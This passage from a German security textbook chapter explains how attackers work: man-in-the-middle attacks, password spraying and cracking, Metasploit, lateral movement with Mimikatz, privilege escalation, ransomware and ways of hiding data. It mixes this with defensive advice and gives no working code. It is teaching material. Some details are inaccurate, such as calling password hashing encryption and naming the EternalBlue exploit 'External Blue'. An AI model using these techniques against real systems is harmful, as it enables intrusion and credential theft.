Bei Man-in-the-Middle-Angriffen (MITM) trennen Cyberkriminelle die direkte Verbindung zwischen zwei Kommunikationspartner auf und gaukeln beiden Partnern vor, jeweils der andere zu sein. Dabei wird die ursprüngliche direkte Verbindung vom Angreifer gekappt und über ein von ihm kontrolliertes Gerät umgeleitet (Abb. 4.14). Es gibt zahlreiche Varianten für Man-in-the-Middle-Angriffe: • Ein Angriff kann zum Beispiel dadurch erfolgen, dass Angreifer einen eigenen, modifizierten WLAN-Accesspoint mit dem internen, kabelgebundenen Netz verbinden. Ein
76
4 Angriffsmechanismen
Abb. 4.14 Grundsätzliches Schema für Man-in-the-Middle-Angriffe
•
•
• •
•
einfacher Raspberry Pi, ausgestattet mit entsprechender Software, reicht für diesen Zweck vollkommen aus. Haben Cyberkriminelle temporären Zugang zu Datenräumen oder Netzwerkzentralen, können sie eine Verbindung auch einfach trennen und über speziell präparierte Switches wieder herstellen. Es gibt die Möglichkeit, Routingtabellen zu modifizieren, sodass zum Beispiel der gesamte IP-Datenverkehr über einen bestimmten Server läuft, den Cyberkriminelle unter Kontrolle haben. Manipulierte DHCP-Server können Datenpakete auf bestimmte IP-Adressen der Cyberkriminellen umleiten. Auf Linux-Systemen kann die lokale Host-Datei so manipuliert werden, dass Zugriffe auch bei korrekter Angabe einer IP-Adresse auf IP-Adressen der Cyberkriminellen umgeleitet werden. Ein Hyperlink in einer E-Mail, der zum Beispiel auf einen Anmeldeserver der Angreifer zeigt. Klickt das Opfer darauf, stellt es eine Verbindung zu diesem Server her, der wiederum eine Verbindung zum eigentlichen Ziel aufbaut.
Eine wirksame Möglichkeit, Man-in-the-Middle-Angriffe zu verhindern, besteht in der Ende-zu-Ende-Verschlüsselung. Hier können die Datenpakete zwar mitgelesen werden, aber durch die Verschlüsselung sind die Daten für die Cyberkriminellen wertlos. Mit Secure Shell (SSH) kann beim ersten Anmelden ein Fingerabdruck (Fingerprint) gespeichert werden, mit dem bei zukünftigen Verbindungsversuchen überprüft werden kann, ob tatsächlich die richtige Gegenstelle erreicht wurde. Auch TLS bietet eine gewisse Sicherheit gegen Man-inthe-Middle-Angriffe, da die Übertragung zwischen zwei Internetknoten verschlüsselt wird. Allerdings ist der Schutz begrenzt, denn wenn einer der übertragenden Server kompromittiert wurde oder eine weniger vertrauenswürdige Stelle ein gültiges Zertifikat ausstellt, können Cyberkriminelle den Datenverkehr mitlesen oder gegebenenfalls sogar modifizieren.
4.2
Zugang erlangen
77
Über einen zweiten Kanal lassen sich Man-in-the-Middle-Angriffe ebenfalls entdecken. Bei Banktransaktionen wird aus diesem Grund über diesen zweiten Kanal die Information übertragen, die zum Beispiel bei einer Überweisung bei der Bank angekommen ist. Zusätzlich können zwei Kommunikationspartner sich über spezielle Sicherheitstokens authentifizieren, die die Cyberkriminellen nicht simulieren können. Natürlich können Cyberkriminelle den Datenverkehr trotzdem mitlesen, wenn dieser nicht ausreichend verschlüsselt ist.
4.2.10 Passwortschutz aushebeln Die einfachste Möglichkeit, Zugang zu einem fremden Rechnernetz zu erlangen, ist natürlich, Kenntnis über eine gültige Account- und Passwort-Kombination zu erlangen. Verzichtet eine IT-Betreiber auf einen zweiten Faktor bei der Anmeldung, reicht diese Kombination bereits aus, um Zugang zu einem Netzwerk über VPN, E-Mail-System oder sonstigen Server zu erhalten. Aber auch beim Schutz des Zugangs durch einen zweiten Faktor bei der Anmeldung, sind gültige Account- und Passwort-Kombination für Angreifer von großem Wert: Durch sog. MFA-Fatigue-Angriffe, auch MFA-Bombing genannt, wird das Opfer so lange mit PushAnfragen für Freigaben genervt, bis es schließlich den Zugang erlaubt um endlich Ruhe zu haben. Sind die Angreifer einmal erfolgreich angemeldet, können sie in der Regel weitere zweite Faktoren registrieren und sich ab diesem Zeitpunkt auch ohne Kenntnis des Opfers jederzeit erneut anmelden. Für Angreifer gibt es einige Möglichkeiten in den Besitz gültiger Account/PasswortKombinationen zu kommen (Tab. 4.1). Zunächst kann ein Angreifer versuchen, ein Passwort zu erraten. Man erstellt eine Liste intuitiver Passwörter, die man durch Social Engineering ermittelt, sortiert diese nach Wahrscheinlichkeit und probiert sie der Reihe nach aus. In vielen Fällen werden Standardpasswörter verwendet, die nie geändert wurden. Sind Standardpasswörter für ein System bekannt oder gibt es ein definiertes Verfahren nach dem initiale Passwörter vergeben werden, ist die Chance groß, dass ein User dieses Passwort nie individualisiert hat. Aktive Online-Angriffe bestehen darin, einen Zugang über das Internet auszuprobieren. Hat man den passenden Account (z. B. eine E-Mail-Adresse des Opfers), erlauben einige Systeme eine nahezu unbegrenzte Zahl von Versuchen. Falls am Zielsystem eine Beschränkung der Fehlversuche implementiert ist, wird der Angreifer das Passwort Spraying versuchen. Hierbei werden einige wenige Passwörter an sehr vielen Accounts ausprobiert, sodass die Fehlversuche nicht zu einer Blockierung des Accounts führen. In Einrichtungen mit mehreren zehntausend Accounts ist die Wahrscheinlichkeit sehr hoch, dass irgendein Nutzer für seinen Account ein Passwort wie „Kennwort1“, „12345678“, „password123“
78
4 Angriffsmechanismen
Tab. 4.1 Möglichkeiten an Passwörter zu kommen Art
Eigenschaft
Angriffsmethode
Nichtelektronisch
Angreifer braucht keine technischen Mittel, um an ein Passwort zu kommen
Schultersurfen Social Engineering Abfall, Druckerablagen oder Schreibtisch durchsuchen (dumpster diving) Beschaffung über einschlägige Foren (Darknet)
Aktive Online-Angriffe
Angreifer probiert verschiedene Wörterbuch- und Brute-Force Passwörter am Zielsystem aus -Attacken Phishing
Passive Online-Angriffe
Angreifer hört mit und versucht (Wire) Sniffing diese Informationen für einen Man-in-the-Middle Angriff zu nutzen Replay Trojaner, Spyware, Keylogger
Offline-Angriffe
Angreifer kopiert die Vorberechnete Hashes Passwortdatei und versucht mit seinen Nutzung eines verteilten eigenen Systemen Passwörter zu finden Netzwerks Standardpasswörter
oder „qwertz123“ verwendet [9]10 . Werden diese vier Passwörter der Reihe nach bei allen Accounts ausprobiert und dabei beachtet, dass die Zugriffsversuche in einem zeitlichen Abstand zueinander erfolgen, fallen diese Passwort-Scans kaum auf, weil sie im normalen Datenverkehr untergehen. Eine typische Schadfunktion von Trojaner, Spyware und Keylogger besteht darin, Passwörter zu sammeln. Manche von ihnen laufen im Hintergrund und sind darauf spezialisiert, Benutzernamen und Passwörter im Datenstrom der Tastaturanschläge zu identifizieren. Diese Informationen werden anschließend an die Angreifer übermittelt.
10 Bei der jährlichen Ermittlung der beliebtesten Passwörter tauchen seit Jahren immer wieder die
folgenden Kandidaten auf den ersten Plätzen auf: „123456“, „123456789“, „qwertz“, „passwort“, „hallo123“, „iloveyou“, „111111“ oder „123123“.
4.2
Zugang erlangen
79
Bei passiven Online-Angriffen nutzt der Angreifer einen Netzwerk-Sniffer wie Wireshark. Unverschlüsselter IP-Traffic lässt sich mit diesem Werkzeug mitschneiden und im Klartext speichern. Um die Logdateien klein zu halten, kann man mit Wireshark dediziert nach FTP, Login, E-Mail-Verkehr und ähnlichen Datenpaketen suchen. Wird der IPDatenverkehr dabei aktiv über einen Router des Angreifers umgelenkt, spricht man auch von einem Man-in-the-Middle-Angriff. Passwörter werden auf den Rechnern immer verschlüsselt gespeichert. Zur Verschlüsselung verwendet man Hash-Funktionen. Das sind mathematische Einwegfunktionen, bei denen die Berechnung des Hashes aus dem ursprünglichen Wort einfach, der Rückweg jedoch mit vertretbarem Aufwand nicht möglich ist. Eine beliebige Eingabe, wie zum Beispiel ein Passwort, wird durch einen Hash-Algorithmus in eine scheinbar zufällige Ausgabe in einem festen Wertebereich umgewandelt. Dabei liefern zwei identische Eingaben immer den gleichen Hashwert. Die Eingabe lässt sich aus dem Hashwert nicht rekonstruieren, sie muss folglich erraten werden. Das bedeutet jedoch nicht, dass man als Angreifer das exakte Passwort erraten muss. Es reicht, wenn der Angreifer eine Zeichenkombination findet, die zum selben Hashwert führt wie das Passwort des Opfers. beim Hash-Algorithmus SHA256 werden alle Eingaben zum Beispiel auf 2256 verschiedene Hashwerte abgebildet. Das sind zwar sehr viele, aber eben doch eine endliche Anzahl. Passwortangriffe, bei denen der Angreifer Passworthashes abgreift und mithilfe eines Passwort-Crackers wie John the Ripper oder Hashcat nach den unverschlüsselten der Passwörtern suchen, gehören zur Klasse der Offline-Angriffe. Da dieser Schritt auf den Rechnern des Angreifers erfolgt, kann er beliebigen Aufwand und Zeit investieren, um ein Passwort zu finden, ohne Gefahr zu laufen, entdeckt zu werden. Bei einem Brute-Force-Angriff werden alle möglichen Kombinationen des spezifizierten Zeichenraumes ausprobiert. Dieser Ansatz findet zwar theoretisch jedes Passwort, das Ausprobieren dauert aber u. U. sehr lange und ist deshalb mit heutigen Rechnern ab einer Passwortlänge von ca. 9 Zeichen nicht mehr praktikabel. Durch die Verwendung von Salts ist die Vorberechnung von Passworthashes nicht sinnvoll. Salts sind öffentlich bekannte, rechnerspezifische Anhänge für Passwörter. Bei der Prüfung werden diese zur Berechnung des Hashes mit angehängt. Man bräuchte folglich für jedes Salt, also für jedes Endgerät, eine eigene Tabelle mit allen Passwortkombinationen und das ist für Angreifer schlicht nicht mehr handhabbar. Erfolgversprechender für Cyberkriminelle sind Dictionary-Angriffe. Hier wird einfach ein gesamtes Wörterbuch über eine Hashfunktion verschlüsselt. Die Idee dahinter ist, dass es häufig vorkommt, dass ein User ein normales Wort aus dem Wörterbuch als Passwort verwendet. Der Duden für die Deutsche Sprache verzeichnet etwa 150.000 Einträge. Der Deutsche Wortschatz wird mit allen Präpositionen und mehrere Formen für Tempus, Person und Modus auf ca. 500.000 Wörter geschätzt. Im Englischen sind es rund 650.000 Wörter. Viele dieser Wörter eignen sich nicht als Passwörter, weil sie schlicht zu kurz sind, sodass die Liste der potenziellen Passwörter wesentlich kleiner wird. Durch triviale Substitutionen wie s→$, i→1, I→1, i→!, A→4, G→6 usw. oder durch triviale Ergänzungen wie ! oder 1
80
4 Angriffsmechanismen
am Ende sowie Großbuchstaben am Anfang, wird die Zahl zwar wieder größer, bleibt aber mit heutigen Rechnersystemen und GPU-Unterstützung machbar11 . Um den Speicheraufwand für die Hashes zu reduzieren, gibt es Rainbow Tables. Die Idee dahinter ist, dass eine Folge von Hash- und Reduktionsfunktionen nach einem vorgegebenen Muster ausführt. Die Reduktionsfunktion macht aus einem berechneten Hash wieder ein gültiges Passwort, das in seiner Länge begrenzt wird. Durch das fortgesetzte Hash- und Reduce entstehen lange Ketten, von denen man lediglich das erste und letzte Element speichern muss, denn die Zwischenwerte lassen sich schnell wieder berechnen. Sucht man für einen bestimmten Hash das passende Passwort, geht man wie folgt vor: Ausgehend von diesem Hash führt man für jede Zeile der Rainbow-Table genau so viele Hash-Reduce-Operationen durch, wie einer Zeile der Rainbow-Table Einträge besitzt. Bei jedem Rechenschritt wird geprüft, ob ein Eintrag des letzten Hashes der Rainbow-Table übereinstimmt. Falls ja, ist die richtige Zeile gefunden. Abschließend muss nur noch ausgehend vom ersten Wert dieser Zeile alle Zwischenwerte berechnet werden. Der Reduce-Schritt vor dem Match liefert ein gültiges Passwort für diesen Hash. Werkzeuge um Rainbow-Tables zu erzeugen gibt es viele: RainbowCrack, Rtgen und Winrtgen erzeugen Hashes für LM, FastLM, NTLM, LMCHALL, HalsLMCHALL, MSCACHE, MD2, MD4, MD5, SHA1, RIPEMD160, MySQL232, MySQLSHA1, CiscoPIX, ORACLE, SHA-2 (256), SHA-2 ( 384), SHA-2 (512) in einem Durchgang. Aus diesen Erkenntnissen lassen sich einige grundlegende Regeln für Passwörter ableiten: • Entropie ist wichtig (oder lange Passwörter verwenden). • Möglichst langes Passwort ausdenken, wobei Sätze helfen, die sich einfacher merken lassen. • Bei jedem Dienst ein anderes Passwort verwenden. • Passwortänderung NICHT in kurzen Zeitabständen erzwingen. • Passwortmanager wie KeePass verwenden. • Niemals Passwörter wiederverwenden. • Passwörter nicht an weitere Personen weitergeben. • Keine bereits kompromittierte Passwörter benutzen. • Keine Standard-Passwörter verwenden. • Keine Passwörter verwenden, die in einem Wörterbuch zu finden sind. • Keine persönlichen/öffentlichen Informationen in Passwörtern oder Geheimfragen verwenden. Mit diesen einfachen Regeln können auch heute noch ausreichend sichere Passwörter generiert werden. Erhöht man die Länge von Passwörtern durch die Aneinanderreihung von scheinbar zusammenhanglosen Wörtern, kann man auch lange Passwörter bilden, die sich
11 Bei den meisten Einträgen in der Liste der beliebtesten Passwörter beträgt die benötigte Zeit für
das Knacken des Passworthashes mit aktueller Hardware weniger als eine Sekunde.
4.2
Zugang erlangen
81
trotzdem einfach merken lassen. Generell empfiehlt sich jedoch der Einsatz von Passwortmanagern, die beliebig komplexe Passwörter generieren und einfach verwalten können.
4.2.11 Einsatz von Metasploit Das Metasploit-Framework [10] ist ein Werkzeug für Penetration-Tester, das als freies OpenSource-Projekt im Internet zum Download zur Verfügung steht. Neben Metasploit existieren weitere kommerzielle Werkzeuge wie Cobalt Strike [11], die von Penetration-Testern, in diesem Fall Red Teams, für Simulationen von Angriffen eingesetzt werden können. Auch Cyberkriminelle wie APT- oder Ransomwaregruppen nutzen diese Werkzeuge für ihre Angriffe. Das bekannteste Teilprojekt des Metasploit-Frameworks ist die Meterpreter-Shell, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Auch wenn Metasploit entwickelt wurde, um Penetration-Testern ein Werkzeug in die Hand zu geben, mit dem sie auf einfache Weise nachweisen können, dass der Zugang zu einem System möglich ist, wird dieses Werkzeug auch von Cyberkriminellen eingesetzt, um konkrete Angriffe durchzuführen. Metasploit kann also Hackern, Penetration-Testern und von Administratoren eingesetzt werden. Administratoren nutzen es, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Hier noch einmal eine Warnung: Der Einsatz von Metasploit bei Fremdsystemen, ohne ausdrückliche schriftliche Erlaubnis, erfüllt verschiedene Tatbestände der Computerkriminalität. Metasploit beinhaltet hunderte bekannte Sicherheitslücken, um auf fremden Systemen einzudringen, die auf Knopfdruck aktiviert werden können und es unterstützt den vollautomatischen Test von Systemen nach bekannten Schwachstellen. Es besteht aus folgenden Modulen: • Auxiliary Mode: externe Module zum Scannen, Sniffen usw. • Exploit Mode: Basismodul für den automatisierten Angriff. • Payload Module: erstellt einen Kanal zwischen dem Angreifer und dem Opfer, um beliebigen Code auszuführen. • NOPS-Module: generiert beliebig lange NOP-Ketten im Speicher des Zielsystems mit denen Buffer-Overflow-Attacken möglich werden. Die Arbeit mit dem Metasploit-Framework gliedert sich in folgende grundlegende Schritte: 1. 2. 3. 4. 5.
Exploit auswählen und konfigurieren Optionale Verwundbarkeitsprüfung Nutzlast oder auch Payload wählen und konfigurieren Ausführung des Exploits Weiteres Vordringen auf dem Zielsystem
82
4 Angriffsmechanismen
Weiteres Vordringen auf dem Zielsystem: Nach einem erfolgreichen Angriff lassen sich mittels Payload weitere Aktionen auf dem Zielrechner ausführen. Die Modularität von Metasploit mit seinen hunderten Modulen, die für bestimmte Aufgaben optimiert sind, ist ein großer Vorteil des Frameworks. Für praktische Erfahrung mit dem Metasploit-Framework gibt es eine Testumgebung Metasploitable mit bewusst eingebauten Schwachstellen, die als virtuelle Maschine zum Download unter [12] bereit steht. Die virtuelle Maschine kann über den VMware-Player oder VirtualBox auf einem Testrechner betrieben werden.
4.3
Ausbreitung im Netzwerk und Erweiterung der Rechte
Nachdem ein Angreifer initialen Zugang zu einem System oder einem Netz erlangt hat, wird er sich weiter im Netz umsehen und ausbreiten. Eine Möglichkeit ist der Einsatz bereits bekannter Account/Passwort-Kombinationen auf weiteren, erreichbaren Systemen („Lateral Movement“). Dies wird ein Angreifer so lange ausführen, bis er ein für ihn interessantes Ziel gefunden hat. Ein solches Ziel könnte zum Beispiel ein Server sein, der eine fehlerhafte Konfiguration besitzt oder auf dem eine veraltete Version eines Betriebssystems eingesetzt wird. Hat er ein solches System gefunden, wird er versuchen höhere Rechte zu bekommen. Diesen Schritt nennt man „Privilege Escalation“. Die forensische Analyse erfolgreicher Angriffe zeigt, dass Angreifer in dieser Phase über Wochen, Monate oder sogar Jahre verharren, um ihren späteren Angriff vorzubereiten.
4.3.1
Lateral Movement
Lateral Movement ist eine Technik der Angreifer mit der sie tiefer in ein Netzwerk eindringen und ausbreiten, nachdem sie sich bereits Zugang auf ein System in einem Netzwerksegment verschafft haben. Nach einem erfolgreichem Angriff auf einen einzelnen verwundbaren Rechner wird dieser zum Ausgangspunkt für weitere Angriffe. Es wird z. B. innerhalb des Zielnetzes erneut gescannt, um weitere verwundbare Systeme zu finden und diese zu kapern. Dabei kann nach Systemen mit bekannten Sicherheitslücken gesucht werden oder die Angreifer versuchen die ihnen bekannten Account-Passwort-Kombinationen auf weiteren Rechnern anzuwenden. Auch wenn diese weiteren Systeme von außen durch eine Firewall geschützt und deshalb gar nicht vom öffentlichen Bereich des Internets aus sichtbar sind, können sie über diesen initialen Ausgangspunkt durch den Angreifer erreicht werden. Kennt der Angreifer einen gültigen Zugang zu einem System, kann er diese Informationen nutzen, um weitere Systeme zu übernehmen. In der Regel werden Accounts zentral verwaltet, sodass dieselben Zugangsdaten verwendet werden können, um eine Vielzahl von Rechnern und Diensten innerhalb einer Organisation zu nutzen. Hat ein Angreifer einen Weg gefunden,
4.3
Ausbreitung im Netzwerk und Erweiterung der Rechte
83
Abb. 4.15 Suche nach weiteren interessanten Systemen im Netz: Lateral Movement
einen Rechner mit einer Schadsoftware zu infizieren, kann dieser Schadcode über das Lateral Movement auf einer Vielzahl von Rechnern ausgerollt werden. Grundsätzlich lässt sich der Zugang und das Verteilen auch über Scripte automatisieren (Abb. 4.15). Für das Lateral Movement existieren für die Cyberkriminellen wie auch für Administratoren eine Reihe von Werkzeugen, die teilweise in die Betriebssysteme integriert sind. Das Kommando netstat listet die laufenden Netzwerkverbindung einer Rechners auf12 . Die Werkzeuge ipconfig oder ifconfig geben Informationen über die Netzwerkstruktur preis. Die lokale Routing-Tabelle kann ebenfalls genutzt werden, um Kommunikationspfade zu weiteren Servern offenzulegen. Das Windows-Werkzeug PowerShell ist ein mächtiges Kommandozeilen- und Scripting-Tool, das die schnelle Identifikation von Systemen erlaubt, auf denen ein Account Administrationsrechte besitzt. Das Auslesen einer LDAP-Datenbank (LDAP Reconnaissance) gibt wertvolle Informationen über Benutzeraccounts, Gruppen und Rechner preis. Meist sind der Name oder ein Netzwerksegment ein wichtiger Hinweis auf den Einsatzzweck eines Servers. Die Methode Pass the Hash ist ein Weg, um sich gegenüber weiteren Systemen zu authentifizieren, ohne das Passwort eines Nutzers zu kennen. Es macht sich zunutze, dass gültige Passworthashes eines aktiven Nutzers ausreichen, um diesen gegenüber weiteren Systeme ohne Angabe des Passwortes zu authentifizieren. Das Werkzeuge Mimikatz ist geeignet, um die Passwörter der angemeldeten User im Klartext anzuzeigen, da diese im Speicher eines Rechners abgelegt sind. Mimikatz ist ein quelloffenes Programm für Rechner, die mit Microsoft Windows betrieben werden. Es basiert auf der Ausnutzung von Schwachstellen, mit deren Hilfe zwischen12 Das Kommando netstat -b, ausgeführt in einer Windows-Command-Shell mit Administrations-
rechten, listet alle IP-Adressen mit Ports oder Diensten auf, zu denen der Rechner aktuell eine Verbindung aufgebaut hat. Bei unbekannten IP-Adressen oder ungewöhnlichen Ports lohnt es sich durchaus einmal, mit ping zu prüfen, was für ein Server sich hinter der IP-Adresse versteckt.
84
4 Angriffsmechanismen
gespeicherte Anmeldedaten ausgelesen und entschlüsselt werden können. Diese Passwörter zeigt Mimikatz im Klartext an. Auch die Passwörter von Konten mit höheren Privilegien, wie Domänenadmins oder Systemadmins können mithilfe von Mimikatz ausfindig gemacht und angezeigt werden. Mimikatz kann von Pentestern eingesetzt werden, um Sicherheitslücken ausfindig zu machen. Cyberkriminelle nutzen Mimikatz hingegen zum Stehlen von Anmeldedaten, mit denen sie in weitere Systeme eindringen können.
4.3.2
Privilege Escalation
Das Ziel der Privilege Escalation (auch Vertical Privilege Escalation) besteht darin, in einem kompromittierten System erweiterte Rechte oder zusätzlicher Berechtigungen zu erhalten. Mimikatz ist zum Beispiel geeignet, um über einen einfachen Trick Administratorrechte zu erlangen: Cyberkriminelle können auf einem System, auf dem diese und ein weiterer User gleichzeitig eingeloggt sind, fehlerhaftes Verhalten provozieren, indem zum Beispiel der Druckerspooler deaktiviert wird. Ein unerfahrener Nutzer wird einen WindowsSystemadmin herbeirufen, um das Problem zu beheben. Sobald der Administrator angemeldet ist, kann der Angreifer über Mimikatz das Administratorkennwort des Systems auslesen und für weitere Angriffe benutzen. Wird zum Beispiel eine Firewall durch denselben Administrator mit demselben Passwort administriert, kann der Angreifer ab diesem Moment die Firewall außer Betrieb nehmen oder persönliche Zugangswege aus dem Internet einrichten. Manche Linux-Distributionen verzichten auf ein direktes Root-Login. Vielmehr können sich nur normale User über SSH an einem System anmelden. Da der Angreifer über einen gültigen Account verfügt, kann er über das Kommando sudo bash auf einem LinuxSystem mit Angabe des User-Passwortes eine Shell mit Root-Rechten öffnen. Ab diesem Zeitpunkt kann er dieses System mit Root-Rechten manipulieren. Dasselbe Prinzip ist auch bei Windows-Rechnern umgesetzt, an denen die Nutzer mit Administratorrechten arbeiten. Weitere Möglichkeiten für das Erreichen höherer Privilegien ist das Ausnutzen von Entwurfsfehlern, Programmierfehlern, Konfigurationsfehlern in Betriebssystemen, im Netzwerk und in Applikationen. In der Vergangenheit wurden immer wieder Möglichkeiten entdeckt, wie normaler User aus ihrem eingeschränkten Nutzerbereich ausbrechen können. Manche der Exploits wie „External Blue“ ergeben sofort einen lokalen Administratorzugang, sodass hier überhaupt keine weiteren Aktionen notwendig sind. Unter Verwendung von „External Blue“ genügt es also, nach einem einzelnen verwundbaren System im Netz zu suchen. Bei einem Angriff auf einen bestimmten Dienst (Web, SQL etc.) erhält man auf dem System den Kontext des angegriffenen Users oder der Applikation.
4.4
4.4
Schadfunktion einrichten
85
Schadfunktion einrichten
Hat ein Angreifer einen Administratorzugang zu einem oder mehreren Systemen in einem Netz erlangt, tritt er in die nächste Phase ein und kann je nach Angriffsziel unterschiedliche Schadfunktionen ausrollen: • Mining-Software: Die Verifikation von Kryptowährungen wie Bitcoin wird über die Suche nach Hashes mit bestimmten Eigenschaften durchgeführt. Da diese Berechnungen recht aufwendig sind, ist der Stromverbrauch und die damit verbundenen Kosten sehr hoch. Für Angreifer kann es deshalb interessant sein, die gekaperten Rechner in einen Mining-Verbund zu integrieren, um die damit verbundenen Transaktionsgebühren abzugreifen. Das kann für den Angreifer lukrativ sein, da die Stromkosten vom Betreiber der Rechnersysteme bezahlt werden. • Bot-Client einrichten: Große Botnetze sind für Angreifer attraktiv, weil diese an ihre Kunden vermietet werden können. Je größer ein Botnet ist, desto mächtiger kann zum Beispiel ein über dieses Botnet ausgelöster DDoS-Angriff ausfallen. Aus diesem Grund kann eines der Ziele eines Angreifers darin bestehen, dieses durch weitere Bot-Clients (Zombies) zu erweitern. • Spy-Software (Key-Logger): Key-Logger durchforsten Tastatureingaben nach Informationen wie Passwörtern aber auch Bankdaten, Kreditkartennummern oder Ähnliches, das entweder von den Angreifern selbst oder durch Dritte zu Geld gemacht werden können.Diese Informationen werden in sog. Drop-Zonen im Internet abgelegt, wo sie von den Angreifern unerkannt abgeholt werden können. • Daten abgreifen: Im Bereich der Wirtschaftsspionage oder bei der Spionage in Forschungseinrichtungen dürfte der Abgreif von Informationen ein besonders wichtiges Argument für einen Angriff sein. Auch wenn die Angreifer diese Informationen gar nicht selbst verwerten, können sie diese Informationen an Dritte verkaufen oder sie dazu nutzen, um dem Opfer zur Zahlung einer Summe für die Nichtveröffentlichung zu bezahlen. • Logikbomben: Eine Logikbombe ist ein schädlicher Programmcode, der durch das Eintreten bestimmter Bedingungen (Trigger) ausgelöst wird. Logikbomben können von einem Angreifer eingesetzt werden, um das Auslösen eines groß angelegten Angriffs auf eine Einrichtung anhand des Triggers zu synchronisieren. Da der Angreifer zum Zeitpunkt des Angriffs nicht eingeloggt sein wird, erschwert der Einsatz von Logikbomben der Forensik die Ursachenforschung. • Archivbomben: Sind stark komprimierte Dateien, wie beispielsweise einfarbige BitmapDateien mit einer hohen Auflösung, die ausgepackt mehrere Gigabyte auf einer Festplatte belegen. Nach dem Packen haben diese eine Größe von wenigen 100 KB. Da Virenscanner Archive nur dann auf Schadsoftware hin prüfen können, wenn sie entpackt sind, muss der Virenscanner diese erst einmal entpacken. Dieser Vorgang führt zu einer hohen Systemlast und belegt einiges an Speicher auf einer Festplatte. In seltenen Fällen kann dies
86
4 Angriffsmechanismen
auch zu einem Abbruch eines Virenscans führen. Außerdem kann der schlagartige Mehrverbrauch von Speicherressourcen auch zu verlängerten Backup-Zeiten oder Auslastung des Speichersystems führen. • Ransomware: Blockiert den Zugriff auf das Betriebssystem bzw. verschlüsselt potenziell wichtige Dateien und fordert den Benutzer zur Zahlung von Lösegeld auf – meist über das digitale Bezahlsystem Bitcoin. • Backups beschädigen: Angreifer versuchen Backups brauchbar zu machen, damit verschlüsselte Dateien eines Ransomwareangriffs nicht über ein Restore wieder herzustellen sind. Diese Liste der möglichen Schadfunktionen ist sicher nicht vollständig und mehrere dieser Schadfunktionen können bei konkreten Angriffen von den Cyberkriminellen miteinander kombiniert werden, um den Druck auf ein Opfer zu erhöhen. Insbesondere der Einsatz von Verschlüsselungssoftware und die darauf folgende Forderung eines Lösegelds (Ransom) zur Bekanntgabe des für die Entschlüsselung notwendigen Schlüssels ist in diesem Zusammenhang ein gutes Beispiel. Neuere Ransomwareangriffe werden dabei mehrstufig angelegt: Neben dem reinen Verschlüsseln der Daten versuchen die Angreifer zusätzlich, die vorhandenen Backups zum Beispiel über Archivbomben unbrauchbar zu machen. Werden Backups auf Festplatten gespeichert, die online betrieben werden, sind diese für die Wiederherstellung nutzlos, weil diese von der Ransomware einfach mit verschlüsselt werden. Bei neueren Angriffsvarianten leiten die Angreifer kompromittierende Daten (z. B. EMails, vertrauliche personenbezogene Daten), Firmengeheimnisse oder Forschungsergebnisse ab und drohen damit, dass diese an Konkurrenten verkauft wird. Diese Kombination aus Verschlüsselungsangriff und Ausleitung von Daten wird auch Double-Extortion genannt. Es soll auch schon vorgekommen sein, dass Patienten oder Forschende von Cyberkriminellen direkt kontaktiert wurden, um diese dazu zu bewegen Geld in Form von Bitcoins zu übertragen, um ihre Daten unter Verschluss zu halten. Noch mehr Druck entfalten Angriffe, wenn sie um eine dritte Komponente verstärkt werden: Durch eine zusätzliche Überlastung der Netzwerkanbindung über eine sog. Denialof-Service-Attacke (siehe Abschn. 4.7) wird einer Einrichtung zusätzlicher Schaden zugefügt und gleichzeitig die Mitglieder des Abwehrteams, die eigentlich mit der Behebung der Auswirkung eines Ransomwareangriffs ausgelastet sind, zusätzlich zu belasten. Die Kombination aus drei Angriffsvektoren wird demnach Triple-Extortion genannt. Bei heutigen Ransomwareangriffen wird das Lösegeld meist in virtueller Währung wie Bitcoin oder Monero verlangt – wobei die Zahlung allerdings keinerlei Garantie für die Freigabe verschlüsselter Daten oder gesperrter Systeme bietet. Auch wenn die Zahlung horrender Summen für die Freigabe eines Schlüssels bei einem erfolgten Ransomwareangriff bekannt werden, lautet die Empfehlung für die Betroffenen stets, das geforderte Geld nicht zu zahlen, sondern unverzüglich Anzeige bei der Polizei zu erstatten. Unter der Webseite
4.5
Dateien verstecken
87
https://www.nomoreransom.org/ finden sich Hilfestellungen zur Prävention von Ransomwareattacken sowie konkrete Hilfen bei einem erfolgten Angriff. Als Schadfunktion kann bereits die Einrichtung eines dauerhaften Zugangs (Backdoors) verstanden werden. Angreifer, die einen erfolgreichen Angriff zunächst sichern wollen, um ihn zu einem späteren Zeitpunkt zu nutzen oder an ein anderes Team übergeben wollen, versuchen sich auf diese Weise einen dauerhaften Zugang zu sichern. Mit MSFVenom aus dem Metasploit-Framework kann eine Payload erzeugt werden, die im System mit Autostartmechanismen fest verankert wird. Die Namen und Ordner kann an Standardnomenklaturen des Betriebssystems angelehnt werden, sodass sie auch versierten Administratoren nicht auf den ersten Blick ins Auge springt. Werden solche Hinterlassenschaften eines erfolgreichen Angriffs von Forensikern entdeckt, dienen sie oft auch als Indicator of Compromise (IoC). Administratoren können nach diesen IoCs in ihren Systemen suchen, um festzustellen, ob Sie ebenfalls Opfer eines bekannt gewordenen Angriffs sind.
4.5
Dateien verstecken
Um bei einem erfolgreichen Angriff möglichst lange unentdeckt zu bleiben und falls das eigentliche Angriffsziel die dauerhafte Spionage von Geheimnissen einer Einrichtung ist, müssen die Angreifer den Abfluss von Daten möglichst so vertuschen, dass ein Administrator oder ein Intrusion-Detection-System (IDS) oder ein SIEM (Security Information and Event Management) diesen nicht als solchen erkennt. Hierzu gibt es zahlreiche Möglichkeiten: Bilder können in Musik umgewandelt werden oder man kann Daten so in JPEG-Bilder anfügen, dass die erst dann auffallen, wenn man die Bilder bitweise mit dem Original vergleicht. Die Idee hinter diesem Vorgehen ist, diese Bilder oder die erzeugten Audiodaten über einen ganz normalen Aufruf einer Webseite an die Cyberkriminellen zu übertragen. Natürlich kann ein Angreifer die gesammelten Daten auch einfach verschlüsseln, um sie dann als normale Datenpakete über einen sogenannten Drop-Host abzugreifen. Diese Aktivitäten hinterlassen jedoch Spuren im Dateisystem und größere Downloads fallen über ihren Datenverkehr auf, insbesondere dann wenn ein IDS oder SIEM im Einsatz ist. Spuren solcher Dateien können von der Forensik leicht gefunden oder gar als „Indicators of Compromise“ Verwendung finden. Betriebssysteme bieten verschiedene Möglichkeiten, Dateien vor dem direkten Zugriff zu verstecken. Unter Unix werden zum Beispiel Dateien, deren Namen mit einem „.“ beginnt, beim normalen ls-Befehl ohne die Option „-a“ nicht dargestellt. Eine weitere Möglichkeit sind Metadaten in Dateisystemen, die vom Betriebssystem zwar ausgewertet werden können, beim normalen Betrachten 